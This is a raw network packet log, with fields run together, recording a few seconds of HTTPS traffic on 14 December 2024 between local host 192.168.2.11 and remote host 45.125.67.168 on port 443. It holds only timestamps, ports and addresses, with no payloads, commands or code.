                                                                                                                                          Dec 14, 2024 14:00:03.651798010 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.697072029 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.697124004 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.697174072 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.697201967 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.697258949 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.750957012 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.867777109 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.867789984 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.867866039 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.867917061 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.867934942 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.867934942 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.867954969 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.868205070 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.896212101 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.896236897 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.896342993 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.896342993 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.896364927 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.896411896 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.928772926 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.928801060 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.928872108 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.928901911 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.928941965 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.929014921 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.961303949 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.961323977 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.961385965 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.961404085 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.961760998 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.961760998 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.085016966 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.085041046 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.085335970 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.085354090 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.085407972 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.106487036 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.106504917 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.106597900 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.106597900 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.106620073 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.107045889 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.128129959 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.128155947 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.128248930 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.128262997 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.128321886 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.149743080 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.149774075 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.149866104 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.149866104 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.149877071 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.150032043 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.168134928 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.168163061 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.168272018 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.168291092 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.169229984 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.189555883 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.189574003 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.189872026 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.189888000 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.190457106 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.209966898 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.209992886 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.210078001 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.210089922 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.210165977 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.278460979 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.278489113 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.278604984 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.278604984 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.278620005 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.278820038 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.308912039 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.308932066 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.308984041 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.309001923 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.309075117 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.309075117 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.322882891 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.322901011 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.323055029 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.323085070 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.323335886 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.336256027 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.336282015 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.336395025 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.336395025 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.336407900 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.336472988 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.344297886 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.344316959 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.344446898 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.344446898 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.344464064 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.344734907 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.351423979 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.351440907 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.351574898 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.351599932 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.351653099 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.358503103 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.358527899 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.358582973 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.358616114 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.358630896 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.358743906 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.365772009 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.365791082 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.366386890 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.366401911 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.366487026 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.372988939 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.373008966 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.373683929 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.373683929 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.373696089 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.374209881 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.473928928 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.473956108 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.474107981 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.474107981 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.474127054 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.474210024 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.502918959 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.502938032 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.503006935 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.503025055 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.503134012 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.508537054 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.508558989 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.508630037 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.508654118 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.511342049 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.514555931 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.514573097 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.515333891 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.515353918 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.516635895 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.520565987 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.520582914 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.520802021 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.520811081 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.521047115 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.526478052 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.526496887 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.526593924 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.526604891 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.526653051 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.532651901 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.532670021 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.532727003 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.532737017 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.532754898 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.532788992 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.538592100 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.538608074 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.538708925 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.538708925 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.538722038 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.538770914 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.541966915 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.665721893 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.665750027 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.665910959 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.665910959 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.665927887 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.666007042 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.695189953 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.695216894 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.695354939 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.695379972 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.695593119 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.700522900 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.700547934 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.700627089 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.700637102 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.700823069 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.706701040 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.706727028 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.706788063 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.706799984 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.706841946 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.706841946 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.712676048 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.712701082 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.712779045 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.712785959 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.712801933 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.712835073 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.719037056 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.719063997 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.719171047 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.719171047 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.719177961 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.719294071 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.726500034 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.726526976 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.726633072 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.726633072 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.726643085 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.726680994 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.732194901 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.732220888 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.732454062 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.732454062 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.732465029 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.732517004 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.732517004 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.857346058 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.857372999 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.857445002 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.857470036 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.857517958 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.857544899 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.886879921 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.886903048 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.887011051 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.887027025 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.887047052 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.887078047 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.892663002 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.892685890 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.892795086 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.892795086 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.892812967 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.892891884 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.898843050 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.898870945 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.898921967 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.898936987 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.898978949 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.898978949 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.905076027 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.905093908 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.905144930 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.905153990 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.905214071 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.905214071 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.910887957 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.910903931 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.910964966 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.910980940 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.911034107 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.916450977 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.916466951 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.916512966 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.916533947 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.916601896 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.922699928 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.922718048 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.922765970 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:04.922779083 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:04.922919989 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.049504995 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.049531937 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.049655914 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.049655914 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.049671888 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.049731016 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.078895092 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.078913927 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.079025984 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.079025984 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.079037905 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.079336882 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.084847927 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.084865093 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.084944963 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.084954023 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.085079908 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.091130972 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.091150045 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.091341019 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.091352940 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.091413975 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.096517086 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.096534014 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.096595049 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.096613884 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.096667051 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.102508068 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.102525949 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.102593899 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.102615118 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.102669954 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.108658075 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.108681917 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.108735085 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.108741045 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.108767986 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.108851910 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.114960909 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.114976883 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.115029097 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.115036964 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.115076065 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.115076065 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.242326975 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.242367983 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.242434978 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.242461920 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.242520094 CET49782443192.168.2.1145.125.67.168
